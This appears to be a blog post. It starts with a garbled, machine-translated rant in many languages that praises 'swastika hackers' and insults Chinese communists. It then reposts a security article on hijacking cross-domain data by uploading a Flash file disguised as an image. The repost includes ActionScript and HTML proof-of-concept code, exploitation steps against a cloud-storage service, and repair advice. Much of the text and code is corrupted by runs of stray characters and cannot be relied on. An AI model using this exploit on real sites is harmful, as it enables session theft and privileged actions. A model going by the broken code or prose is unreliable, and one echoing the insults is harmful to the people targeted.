Melody~ Blogger^^ The Software sarhing space~*: **USA/UK/TW/PT(Macau)FDZ/South of Koren/DE/SP/JP/RU/.....International lauguage**---- ** use Google search of God's great to find the "Chinese Hackers skeletal network processes and solutions side "... ha ha ha, very interesting oh -!'' branch earlier communist take shit" ---> blockade network, * {God when your horse it''???!} .... ^!! - --**使用谷歌大神的搜尋找到"中國黑客骸網過程與解方"...哈哈哈,有趣極喔!--較早前''支拿共產狗屁"--->{?還神馬過麼??!''}的封鎖網絡,*....!!^- -- ** usar a busca do Google de Deus grande para encontrar o "Chinese Hackers processos de rede esqueléticos e soluções lado" ... ha ha ha, muito interessante oh -'' ramo anteriormente comunista take merda "---> rede bloqueio, * {Deus quando o seu cavalo-lo''??! ^} ....! - - ** Use a pesquisa do Google para encontrar Deus grande, "hackers chineses processos de rede esqueléticos e lateral soluções" ... ha ha ha, muito interessante oh -'' Filial anteriormente comunista take merda "---> {também Deus cavalo? ?''} bloqueio sobre o que de rede * .... ^! - -- ** 찾아 하나님의 위대한 구글 검색을 사용하여 "중국어 해커 골격 네트워크 프로세스 및 솔루션 측"... 하, 하, 하, 매우 흥미 오 -! '' 분기 이전 공산주의 테이크 똥 "---> 봉쇄 네트워크, * {하나님 때 당신의 말은 '?! ^} ....!! - -- ** nutzen die Google-Suche von Gottes großer zu finden, die "Chinesische Hacker Skelettnetzwerkprozesse und Lösungen Seite" ... ha ha ha, sehr interessant oh -'' Zweig früheren kommunistischen take shit "---> Blockade-Netzwerk * {Gott, wenn Ihr Pferd es''?? ^} ....!! - -- ** use Google busca de la gran Dios para encontrar la "Hackers chinos procesos de red esqueléticas y soluciones lado" ... ja, ja, ja, muy interesante oh -'' rama anterior comunista toma mierda "---> Red de bloqueo, * {Dios cuando su caballo se''???! ^} ....!! - -- **見つけ、神の偉大なのGoogle検索を使用して「中国のハッカー骨格ネットワークプロセスやソリューション側」...ハッハッハ、非常に興味深いOH - ！''ブランチ以前の共産テイクのたわごと」--->封鎖網、* {神ときあなたの馬には''？？？ ^} ....！！ - -- ** использовать поиск Google Божьего замечательно найти "Китайские хакеры скелетные процессы сети и решения со стороны" ... ха-ха-ха, очень интересно, о -'' филиал ранее коммунистическая взять дерьмо "---> блокада сети, * {Бог, когда ваша лошадь это''??! ^} ....!! - -- ** uzi Google serĉo de Dio granda trovi la "Ĉina Hackers skeletaj reto procezoj kaj solvoj flanko" ... ha ha ha, tre interese Ho -!'' branĉo frua komunisma preno merdo "---> blokado reto, * {Dio kiam via cxevalo gxin''???! ^} ....!! -

***USA/UK/TW/PT(Macau)FDZ/South of Koren/DE/SP/JP/RU/.....International lauguage**---- ** use Google search of God's great to find the "Chinese Hackers skeletal network processes and solutions side "... ha ha ha, very interesting oh -!'' branch earlier communist take shit" ---> blockade network, * {God when your horse it''???!} .... ^!! -
--**使用谷歌大神的搜尋找到"中國黑客骸網過程與解方"...哈哈哈,有趣極喔!--較早前''支拿共產狗屁"--->{?還神馬過麼??!''}的封鎖網絡,*....!!^-
-- ** usar a busca do Google de Deus grande para encontrar o "Chinese Hackers processos de rede esqueléticos e soluções lado" ... ha ha ha, muito interessante oh -'' ramo anteriormente comunista take merda "---> rede bloqueio, * {Deus quando o seu cavalo-lo''??! ^} ....! -
- ** Use a pesquisa do Google para encontrar Deus grande, "hackers chineses processos de rede esqueléticos e lateral soluções" ... ha ha ha, muito interessante oh -'' Filial anteriormente comunista take merda "---> {também Deus cavalo? ?''} bloqueio sobre o que de rede * .... ^! -
-- ** 찾아 하나님의 위대한 구글 검색을 사용하여 "중국어 해커 골격 네트워크 프로세스 및 솔루션 측"... 하, 하, 하, 매우 흥미 오 -! '' 분기 이전 공산주의 테이크 똥 "---> 봉쇄 네트워크, * {하나님 때 당신의 말은 '?! ^} ....!! -
-- ** nutzen die Google-Suche von Gottes großer zu finden, die "Chinesische Hacker Skelettnetzwerkprozesse und Lösungen Seite" ... ha ha ha, sehr interessant oh -'' Zweig früheren kommunistischen take shit "---> Blockade-Netzwerk * {Gott, wenn Ihr Pferd es''?? ^} ....!! -
-- ** use Google busca de la gran Dios para encontrar la "Hackers chinos procesos de red esqueléticas y soluciones lado" ... ja, ja, ja, muy interesante oh -'' rama anterior comunista toma mierda "---> Red de bloqueo, * {Dios cuando su caballo se''???! ^} ....!! -
-- **見つけ、神の偉大なのGoogle検索を使用して「中国のハッカー骨格ネットワークプロセスやソリューション側」...ハッハッハ、非常に興味深いOH - ！''ブランチ以前の共産テイクのたわごと」--->封鎖網、* {神ときあなたの馬には''？？？ ^} ....！！ -
-- ** использовать поиск Google Божьего замечательно найти "Китайские хакеры скелетные процессы сети и решения со стороны" ... ха-ха-ха, очень интересно, о -'' филиал ранее коммунистическая взять дерьмо "---> блокада сети, * {Бог, когда ваша лошадь это''??! ^} ....!! -
-- ** uzi Google serĉo de Dio granda trovi la "Ĉina Hackers skeletaj reto procezoj kaj solvoj flanko" ... ha ha ha, tre interese Ho -!'' branĉo frua komunisma preno merdo "---> blokado reto, * {Dio kiam via cxevalo gxin''???! ^} ....!! -

*--- ** Use Google search to find great God, "Chinese hackers skeletal network process and solution side" ... ha ha ha, very interesting Oh!
- {???! Horse also had what God'' branch''} earlier communist take shit "---> blockade networks *.
- He was Chinese borrowed 'swastika hacker who' invaded political MCC authorities wantonly humiliated *!!
- Visible'' moral'' swastika often ...... who is the great power of God'' swastika horse Oh ~ ~ ^
~ ~ Fast bankrupt communist support to take it (Oh .. hey ..)-
---**使用谷歌大神的搜尋找到"中國黑客骸網過程與解方"...哈哈哈,有趣極喔!
--較早前''支拿共產狗屁"--->{?還神馬過麼??!''}的封鎖網絡,*.
-卻被中國藉的'卍黑客者'入侵政冶机關大肆羞辱一番!!*
-可見''卍道義''常在......大能力者才是''卍神馬喔~~^
~~支拿共產快破產了麼(呵呵..嘿..)

-- ** usar a busca do Google de Deus grande para encontrar o "Chinese Hackers processos de rede esqueléticos e soluções lado" ... ha ha ha, muito interessante oh -'' ramo anteriormente comunista take merda "---> rede bloqueio, * {Deus quando o seu cavalo-lo''??! ^} ....! -
- ** Use a pesquisa do Google para encontrar Deus grande, "hackers chineses processos de rede esqueléticos e lateral soluções" ... ha ha ha, muito interessante oh -'' Filial anteriormente comunista take merda "---> {também Deus cavalo? ?''} bloqueio sobre o que de rede * .... ^! -
--- ** 매우 흥미로운 아, 하, 하, 하 ... "중국어 해커 골격 네트워크 프로세스 및 솔루션 측"위대하신 하나님을 찾기 위해 구글 검색을 사용!
- 이전 공산주의 테이크 똥 "---> 봉쇄 네트워크는 * {말은 '하느님'지점을했다?!}.
- 그는 침입 정치 MCC 당국이 변덕스럽게 굴욕 중국어 빌려 '만자 해커'입니다 *!
- 눈에 보이는 '도덕적'만자 종종 ...... 하나님의 위대한 힘은 '만자 말 아 ~ ~ ^
~ ~ 빠른 파산 공산주의 지원 가져가 (안녕 .. 아 ..)-

--- ** Verwenden Sie Google-Suche um die großen Gott zu finden ", chinesische Hacker Skelett Netzwerk Prozess-und Lösungsseite" ... ha ha ha, sehr interessant Oh!
- Frühere kommunistischen take shit "---> Blockade Netzwerke * {Pferd hatte auch, was Gott'''' Zweig?!}.
- Er war Chinese ausgeliehen "Hakenkreuz-Hacker, der" Invasion politischen MCC Behörden mutwillig gedemütigt *!
- Sichtbare'''' moralische Hakenkreuz oft ...... wer die große Macht Gottes ist'' Hakenkreuz Pferd Oh ~ ~ ^
~ ~ ~ ~ Fast bankrotten kommunistischen Unterstützung, es zu nehmen (Oh .. hey ..)-
--- ** Utilice la búsqueda de Google para encontrar gran Dios, "proceso de la red esquelética hackers chinos y lado de la solución" ... ja, ja, ja, muy interesante Oh!
- A principios de toma comunista de mierda "---> Redes de bloqueo * {Horse también tenía qué rama Dios''''???!}.
- Él era chino prestado 'hackers esvástica que' las autoridades políticas invadido MCC humillados desenfrenadamente *!
-'' esvástica visibles morales'' menudo ...... que es el gran poder de Dios'' caballo esvástica Oh ~ ~ ^
~ ~ Apoyo comunista Fast quiebra tomarlo (Oh .. eh ..)-

--- **非常に興味深いああ、ハッハッハ... "中国のハッカー骨格ネットワークプロセスと溶液側」、偉大な神を見つけるためにGoogle検索を使用してください！
- 以前の共産テイクのたわごと」--->封鎖網* {馬も何を神''分岐''を持っていた？？？}。
- 彼は気まぐれ*屈辱政治クライアントセンターの当局に侵攻し、中国借り '卍ハッカー」だった！
- 可視''道徳''卍しばしば......神の偉大な力がある''卍馬ああ〜〜^
（..ちょっと..ああ）それを取るために〜〜高速破産共産サポート-
--- ** Используйте поиск Google, чтобы найти Бога великого, "китайские хакеры скелетных процесс сети и боковые решение" ... ха-ха-ха, очень интересно О!
- Раньше коммунист взять дерьмо "---> блокада сети * {Лошадь также имел, что Бог'' ветвь''??!}.
- Он был китайский заимствовал 'свастика хакер, "вторглись политические власти MCC бессмысленно униженным *!
- Видимые'' моральные'' свастика часто ...... кто есть великая сила Божия'' свастика лошадь О ~ ~ ^
~ ~ Быстрый банкротом коммунистическая поддержка взять его (Ох .. эй ..)-

--- ** Uzu Google serĉo por trovi la Dio granda, "ĉina hackers skeletaj reto procezo kaj solvo flanko" ... ha ha ha, tre interese Ho!
- Antaŭe komunisma preno merdo "---> blokado retoj * {Ĉevalo ankaŭ havis kion Dio'' brancxo''???!}.
- Li estis ĉina pruntitaj 'swastika hacker kiu' invadis politika MCC aŭtoritatojn senkaŭze humiligita *!!
- Videbla'' morala'' swastika ofte ...... kiuj estas la granda potenco de Dio'' swastika ĉevalo Ho ~ ~ ^
~ ~ Fast bankrotis komunisma subteno por preni ĝin (Ho .. hey ..)-

Sincere === MelodyRO===>/

-------------------------------------------------------
*

Flash cross-domain data hijacking vulnerability, a big wave sites affected


Article Writer: Anonymous Editor: admin updated: 2014-05-27

*| Small P

Original: http://www.pgrrrrrrrrrrrrrrros.com/?p=310

0 × 01, the background

Many back-end logic in the realization of the uploaded file, just to verify the file extensions and Content-Type, the content of the uploaded file does not validate. Such processing logic usually just is not rigorous, will not cause too much security risk. But after I tested and found object labels in the file does not contain the embedded flash file suffix judge.

That is, as long as the file contains the normal flash file code , object labels can be successfully loaded and executed.

And he also offers a variety of ActionScript API allows Flash to send network requests. So if we can be rrrrrrrrrrFlash files uploaded

to the target domain, the attacker can control in the domain victim to visit a specially crafted malicious pages, cross-domain data to the target domain hijacking, get the victim Under the current Session of rrrrrrrrr Token, the victim's identity to open any page in the target domain privileges, perform privileged operations .

0 × 02, use conditions

1, the target rrrrrrrrrrr does not validate the logical file upload file contents; 2, file upload does not do domain isolation treatment;

3, the server is not mandatory set Content-Dispositionrrrrrrrrr no session limit 4, upload the file access;

0 × 03, the attack scene rrrrrrrrrrrrr:

First need to be able to construct a rrrrrrrrrile sends http request, here only demo, it only implements send a simple GET ???,

the code is as follows:

importflash.net.URLLoader; importflash.net.URLRequest; URLLoaderDataFormat; importflash.net.s; irrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr(); itemScroll.x = response.x + response.; itemScroll.y = response.y; itemt = response.height ; loader.t = URLLoaderDataForma.TEXT; loader. (Event.COMPLETE, loader_); loader.load (request); fun_complete (e: Event): void {trace rrrrrrrrrrrrrrrrrrrrrrrrrrr

n "+ loader.data); response.text = loader.data; itemScroll.scrollTarget = response;}

The first to use the Load (this.root.) extracted from flash parameters in a URL object tags to be accessed,

then use URLLoader to send a GET request to the URL, the response echoed to a Text control, used for validation.

Then construct a page used to include swf file code below:

<html> <head> <title> FlashCSRF POC by </ title> </ head> <body> <h2> FlashCSRF POC byrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr="csrfurl"style="width: 500"> </ br> <inputtype =" button " value = "submit" id =

"submit"> </ div> <iframename="swf" style="width:1000;height:1000">rrrrrrrrrrrrr <script> functionwriteflashobject (url, parastr) {swf = window . rrrrrrrrrrrrrrrrrrrrrr ["swf"];

"codebase = \" http://fpdownload.macromedia.com/pub/shockwave / rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrvalue=\"always\"/\> \ n "); swf.document.write (" <paramname = \ "movie \" value = \ "FlashVars.swf \" / \> \ n "); swf.document.write (" <paramname=\"FlashVars\" value=\""+ parastr +"\"/\> \ n ") ; swf.document.write ("<paramname=\"quality\" value=\"high\" /\> \ n");

function get (name) {var query = window.location.search.substring (1); var pairs = query.split ("&"); for (var i =

rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr(pos +1); if ( argname == e)};} var submit = document.rrrrrrrr("submit"); submit.addEventListene ("click", function () {var swfurl = document("swfurl") value. ; var param = "url =" + document. ("csrfurl") value ;/ / "url =" +rrrrrrrrrrrrrrrrobject (swfurl, param); return false;}); </ script > </ Body> </ html >

The final effect is shown:

0 × 03, vulnerability exploit

Cloud matching service here to be a well-known vendors to test , rrrrrr the vulnerability exploit process. Access to the cloud disk file upload service page.

Swf file will be written before the rrrrrrrrr is amended as jpg and upload, server did not check the contents of the file, the file rrrrrrr successfully.

The document is set to shared state, this step is to make the final link to get rid of the file access restrictions session state can be accessible to rrrrrrrrrr.

Chrome's DeveloperTool finally find pictures by direct access link in image preview state. Shaped like

http://rrrrr.com/intf. PHP rrrrrrr = Preview.outputPic & rrrrr= 178xxx535 & frrrrr =% rrrrrr.jpg & fhash = f9cefd7e900xxxxxx6d47cd5909796e1b9 & dt = 24.01xxxxxxd8c91c6fefad848 & V = 1.0.1 &rrrrrrrrrrrrrrr= 0 & devtype = Web & sign = 8895bd6844bxxxxxx15e42a8b &

Const r to the adoption html page, use the object that contains the link above, swf file can be properly executed, when other usersaccess this page, the user will open the specified page, resulting in cross-domain data hijacking, when rrrrr has been non-existent, you can get rrrrr, access privileges page, perform privileged operations .

0 × 04, the scope of

After I tested , the domestic well-known Internet companies, and cloud storage providers are affected by this issue. In addition, after testing , some well-known open source online editor such as UEditor, CKEditor, KindEditor, XhEditor, Ewebeditor, also are affected by this issue. More other vendors and Web application Not to do more testing , but can be predicted by the sites affected by the problem in larger quantities.

0 × 05, repair recommendations

According to the conditions mentioned before use, repair methods also obvious.

1, check the contents of the file torrrrr: Of course it is not easy, in addition jpg type, direct online access to many file types,

especially for cloud storage services, as well as on the need for some services functionality, it is difficult to verify all.

2, forced rrrrrrrrrrrrr Content-Disposition: After setting the head can force the browser to download the file to perform the operation . But for some domestic service testing process also found a problem, some directly add a similar downloadtype

= 1 such parameters in the rrrrrrrrrrrr to 0 will not be forced to download it. It is recommended not to expose these

rrrrrrrrrrrrrrl.

3, the domain , especially for some cloud drive, cloud storage service for users to upload files do domain isolation is bullying behavior.

0 × 06, the end of the

Hasty drafting, declined PK.

0 × 07, REF

1) http://blog.rrrrrrrr.com/post/8629838rrrrrr0xxx/the-pituuuuuuuuuuu-of-allowing-file-uploads-on-your- Web site

2) http://help.adobe.com/en_US/FlashPlatccrrrrrrrc/reference/actiorrrrrt/3/flash/net/URLLoader. html*

---------------------------------------------------------------------------
*--- Invites users to use Google language translation god of your country Oh!
My article has been painted Ah, ha ha ....
Total sorry for creators swastika hacker who turned to him to share with people the solution of the solution tactic program.
This money can not be simultaneously bought technology
Therefore, for those who are admirers swastika moral hacker ~
As long as good deeds, their background, identity, nationality,
Do not need to care about all things!
Some people leave the guardians of common ground is often misused.
Large capacity sharer of freedom under the sky
And so is my most admired ~
Thanks again 'swastika Road hackers who''' sharing!!
MelodyRO Sincerely ~